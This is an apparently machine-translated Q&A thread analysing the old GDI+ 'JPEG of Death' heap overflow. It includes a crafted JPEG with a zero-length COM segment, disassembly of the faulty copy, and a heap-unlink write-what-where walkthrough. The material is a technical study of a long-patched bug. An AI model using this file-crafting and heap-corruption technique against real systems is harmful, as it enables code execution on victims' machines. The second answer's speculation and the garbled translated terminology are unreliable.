Как работает функция JPEG смерти?

Я читал про более старый эксплойт против GDI + на Windows XP и Windows Server 2003 назвал JPEG смерти для проекта, над которым я работаю.

Эксплоит хорошо объяснен в следующей ссылке: http://www.infosecwriters.com/text_resources/pdf/JPEG.pdf

В принципе, файл JPEG содержит раздел COM, содержащий поле комментария (возможно, пустое) и два байтовых значения, содержащих размер COM. Если комментариев нет, размер равен 2. Читатель (GDI +) считывает размер, вычитает два и выделяет буфер соответствующего размера для копирования комментариев в кучу. Атака предполагает размещение в поле значения 0. GDI + вычитает 2, что приводит к значению -2 (0xFFFe), которое преобразуется в целое число без знака 0XFFFFFFFE на memcpy.

Пример кода:

unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size + 1);
memcpy(comment, src, size);

Обратите внимание, что malloc(0) на третьей строке должен возвращать указатель на нераспределенную память в куче. Как написать 0XFFFFFFFE bytes (4GB!!!!), возможно, не сбой программы? Описывает ли это запись за пределами области кучи и в пространство других программ и ОС? Что происходит потом?

Как я понимаю memcpy, он просто копирует символы n из пункта назначения в исходный код. В этом случае источник должен находиться в стеке, место назначения в куче, а n - 4GB.

Ответ 1

Эта уязвимость была определенно переполнение кучи.

Как писать байты 0XFFFFFFFE (4 ГБ!!!!), возможно, не сбой программы?

Вероятно, это произойдет, но в некоторых случаях у вас есть время для использования до того, как произойдет сбой (иногда вы можете вернуть программу к нормальному исполнению и избежать сбоя).

При запуске memcpy() копия перезапишет либо некоторые другие блоки кучи, либо некоторые части структуры управления кучей (например, бесплатный список, список занятости и т.д.).

В какой-то момент копия столкнется с не выделенной страницей и вызовет AV (Нарушение доступа) при записи. Затем GDI + попытается выделить новый блок в куче (см. ntdll! RtlAllocateHeap)... но структуры кучи теперь перепутаны.

В этот момент, тщательно обработав изображение в формате JPEG, вы можете переписать структуры управления кучами управляемыми данными. Когда система пытается выделить новый блок, он, вероятно, отключит (свободный) блок из бесплатного списка.

Блок управляется (в частности) флинком (прямая ссылка, следующий блок в списке) и мигает (обратная ссылка, предыдущий блок в списке) указатели. Если вы контролируете как флинк, так и мигание, у вас может быть возможное WRITE4 (записать условие "Что/Где" ), где вы контролируете, что вы можете писать, и где вы можете писать.

В этот момент вы можете переписать указатель на функцию (SEH [Обработчики структурированных исключений] указатели были целевым выбором в то время еще в 2004 году ) и выполнить выполнение кода.

См. сообщение в блоге Куча коррупции: пример из практики.

Примечание: хотя я писал об эксплуатации с использованием фриланста, злоумышленник может выбрать другой путь, используя другие метаданные кучи ( "метаданные кучи" - это структуры, используемые системой для управления кучей, а также флинг и мигание являются частью метаданных кучи), но использование unlink, вероятно, является "самым простым". Поиск Google для "кучи эксплуатации" вернет многочисленные исследования об этом.

Описывает ли это запись за пределами области кучи и в пространство других программ и ОС?

Никогда. Современная ОС основана на концепции виртуального адресного пространства, поэтому каждый процесс имеет собственное виртуальное адресное пространство, которое позволяет адресовать до 4 гигабайт памяти в 32-битной системе (на практике вы получили только половину от нее в пользовательской зоне, остальное для ядра).

Вкратце, процесс не может получить доступ к памяти другого процесса (кроме случаев, когда он запрашивает ядро ​​для него через некоторый сервис /API, но ядро ​​проверяет, имеет ли вызывающий объект это право).


Я решил протестировать эту уязвимость в конце этого урока, поэтому мы могли бы получить хорошую идею о том, что происходит, а не о чистой спекуляции. Уязвимость теперь составляет 10 лет, поэтому я подумал, что это нормально писать об этом, хотя я не объяснил эту часть в этом ответе.

Планирование

Самая сложная задача - найти Windows XP с SP1, как это было в 2004 году:)

Затем я загрузил изображение JPEG, состоящее только из одного пикселя, как показано ниже (сокращение для краткости):

File 1x1_pixel.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF  `
00000010  00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49|  `  ÿá Exif  II
00000020  2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| *          ÿÛ C
[...]

Изображение в формате JPEG состоит из двоичных маркеров (которые вводят сегменты). В приведенном выше изображении FF D8 является маркером SOI (начало изображения), а FF E0, например, является маркером приложения.

Первый параметр в сегменте маркера (кроме некоторых маркеров, таких как SOI) - это двухбайтовый параметр длины, который кодирует количество байтов в сегменте маркера, включая параметр длины и исключая двухбайтовый маркер.

Я просто добавил маркер COM (0x FFFE) сразу после SOI, так как маркеры не имеют строгого порядка.

File 1x1_pixel_comment_mod1.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ  0000000100
00000010  30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020  30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030  30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]

Длина сегмента COM установлена ​​на 00 00, чтобы вызвать уязвимость. Я также ввел байты 0xFFFC сразу после маркера COM с повторяющимся шаблоном, число в 4 байта в шестнадцатеричном формате, которое станет удобным при "использовании" этой уязвимости.

Отладка

Двойной щелчок по изображению сразу вызовет ошибку в оболочке Windows (иначе "explorer.exe" ), где-то в gdiplus.dll, в функции с именем GpJpegDecoder::read_jpeg_marker().

Эта функция вызывается для каждого маркера на изображении, она просто: считывает размер сегмента маркера, выделяет буфер, длина которого является размером сегмента и копирует содержимое сегмента в этот вновь выделенный буфер.

Здесь начало функции:

.text:70E199D5  mov     ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8  push    esi
.text:70E199D9  mov     esi, [ebx+18h]
.text:70E199DC  mov     eax, [esi]      ; eax = pointer to segment size
.text:70E199DE  push    edi
.text:70E199DF  mov     edi, [esi+4]    ; edi = bytes left to process in the image

eax регистрирует точки на размер сегмента, а edi - количество оставшихся в изображении байтов.

Затем код переходит к считыванию размера сегмента, начиная с самого значимого байта (длина - это 16-битное значение):

.text:70E199F7  xor     ecx, ecx        ; segment_size = 0
.text:70E199F9  mov     ch, [eax]       ; get most significant byte from size --> CH == 00
.text:70E199FB  dec     edi             ; bytes_to_process --
.text:70E199FC  inc     eax             ; pointer++
.text:70E199FD  test    edi, edi
.text:70E199FF  mov     [ebp+arg_0], ecx ; save segment_size

И младший байт:

.text:70E19A15  movzx   cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19  add     [ebp+arg_0], ecx   ; save segment_size
.text:70E19A1C  mov     ecx, [ebp+lpMem]
.text:70E19A1F  inc     eax             ; pointer ++
.text:70E19A20  mov     [esi], eax
.text:70E19A22  mov     eax, [ebp+arg_0] ; eax = segment_size

Как только это будет сделано, размер сегмента используется для выделения буфера после этого вычисления:

alloc_size = segment_size + 2

Это делается по следующему коду:

.text:70E19A29  movzx   esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D  add     eax, 2 
.text:70E19A30  mov     [ecx], ax 
.text:70E19A33  lea     eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    [email protected]     ; GpMalloc(x)

В нашем случае, поскольку размер сегмента равен 0, выделенный размер для буфера составляет 2 байта.

Уязвимость существует сразу после выделения:

.text:70E19A37  call    [email protected]     ; GpMalloc(x)
.text:70E19A3C  test    eax, eax
.text:70E19A3E  mov     [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41  jz      loc_70E19AF1
.text:70E19A47  mov     cx, [ebp+arg_4]   ; low marker byte (0xFE)
.text:70E19A4B  mov     [eax], cx         ; save in alloc (offset 0)
;[...]
.text:70E19A52  lea     edx, [esi-2]      ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61  mov     [ebp+arg_0], edx

Код просто вычитает размер segment_size (длина сегмента - 2 байта) из всего размера сегмента (в нашем случае 0) и заканчивается целым нижним потоком: 0 - 2 = 0xFFFFFFFE

Затем код проверяет, есть ли байты, оставшиеся для синтаксического анализа изображения (это правда), а затем перескакивает на копию:

.text:70E19A69  mov     ecx, [eax+4]  ; ecx = bytes left to parse (0x133)
.text:70E19A6C  cmp     ecx, edx      ; edx = 0xFFFFFFFE
.text:70E19A6E  jg      short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4  mov     eax, [ebx+18h]
.text:70E19AB7  mov     esi, [eax]      ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9  mov     edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC  mov     ecx, edx        ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE  mov     eax, ecx
.text:70E19AC0  shr     ecx, 2          ; size / 4
.text:70E19AC3  rep movsd               ; copy segment content by 32-bit chunks

Вышеприведенный фрагмент показывает, что размер копии равен 32-битным фрагментам 0xFFFFFFFE. Буфер источника управляется (содержимое изображения), а получателем является буфер в куче.

Условие записи

Копия вызовет исключение нарушения доступа (AV), когда оно достигнет конца страницы памяти (это может быть либо указатель источника, либо указатель назначения). Когда AV запускается, куча уже находится в уязвимом состоянии, потому что копия уже перезаписала все следующие блоки кучи до тех пор, пока не будет обнаружена страница, не связанная с отображением.

Что делает эту ошибку доступной, так это то, что 3 SEH (Structured Exception Handler, это try/except на низком уровне) ловят исключения в этой части кода. Точнее, 1-й SEH разматывает стек, чтобы вернуться к анализу другого маркера JPEG, тем самым полностью пропустив маркер, который вызвал исключение.

Без SEH код просто разбил бы всю программу. Таким образом, код пропускает сегмент COM и анализирует другой сегмент. Таким образом, мы возвращаемся к GpJpegDecoder::read_jpeg_marker() с новым сегментом и когда код выделяет новый буфер:

.text:70E19A33  lea     eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    [email protected]     ; GpMalloc(x)

Система отключит блок из бесплатного списка. Бывает, что структуры метаданных были перезаписаны содержимым изображения; поэтому мы контролируем unlink с контролируемыми метаданными. Код ниже в системе (ntdll) в менеджере кучи:

CPU Disasm
Address   Command                                  Comments
77F52CBF  MOV ECX,DWORD PTR DS:[EAX]               ; eax points to '0003' ; ecx = 0x33303030
77F52CC1  MOV DWORD PTR SS:[EBP-0B0],ECX           ; save ecx
77F52CC7  MOV EAX,DWORD PTR DS:[EAX+4]             ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA  MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0  MOV DWORD PTR DS:[EAX],ECX               ; write 0x33303030 to 0x34303030!!!

Теперь мы можем написать то, что хотим, где хотим...

Ответ 2

Так как я не знаю код из GDI, что ниже - это просто спекуляция.

Ну, одна вещь, которая появляется в виду, - это одно поведение, которое я заметил на некоторых ОС (я не знаю, было ли это Windows XP), при распределении с помощью нового / malloc вы можете фактически выделить больше чем ваша оперативная память, если вы не пишете в эту память.

На самом деле это поведение ядра linux.

Из www.kernel.org:

Страницы в линейном адресном пространстве процесса не обязательно сохраняются в памяти. Например, распределения, сделанные от имени процесса, не выполняются немедленно, поскольку пространство просто зарезервировано внутри vm_area_struct.

Чтобы попасть в резидентную память, необходимо вызвать ошибку страницы.

В основном вам нужно сделать грязную память до того, как она действительно будет выделена в системе:

  unsigned int size=-1;
  char* comment = new char[size];

Иногда это фактически не делает реального распределения в ОЗУ (ваша программа все равно не будет использовать 4 GB). Я знаю, что видел это поведение в Linux, но теперь я не могу его реплицировать в моей установке Windows 7.

Исходя из этого поведения, возможен следующий сценарий.

Чтобы сделать эту память существующей в ОЗУ, вы должны сделать ее грязной (в основном memset или другой записи):

  memset(comment, 0, size);

Однако уязвимость использует переполнение буфера, а не отказ в доступе.

Другими словами, если бы у меня было это:

 unsinged int size =- 1;
 char* p = new char[size]; // Will not crash here
 memcpy(p, some_buffer, size);

Это приведет к записи после буфера, потому что нет такой вещи, как 4-сегментный сегмент непрерывной памяти.

Вы не поместили ничего в p, чтобы загромождать весь 4 ГБ памяти, и я не знаю, может ли memcpy замалчивать память сразу или просто за страницу (я думаю, что она на странице страница).

В конечном итоге это приведет к перезаписи кадра стека (переполнение буфера стека).

Еще одна возможная уязвимость заключалась в том, что изображение сохранялось в памяти в виде байтового массива (чтение целого файла в буфер), а комментарии sizeof использовались просто для пропуска важной информации.

Например

     unsigned int commentsSize = -1;
     char* wholePictureBytes; // Has size of file
     ...
     // Time to start processing the output color
     char* p = wholePictureButes;
     offset = (short) p[COM_OFFSET];
     char* dataP = p + offset;
     dataP[0] = EvilHackerValue; // Vulnerability here

Как вы уже упоминали, если GDI не выделяет этот размер, программа никогда не выйдет из строя.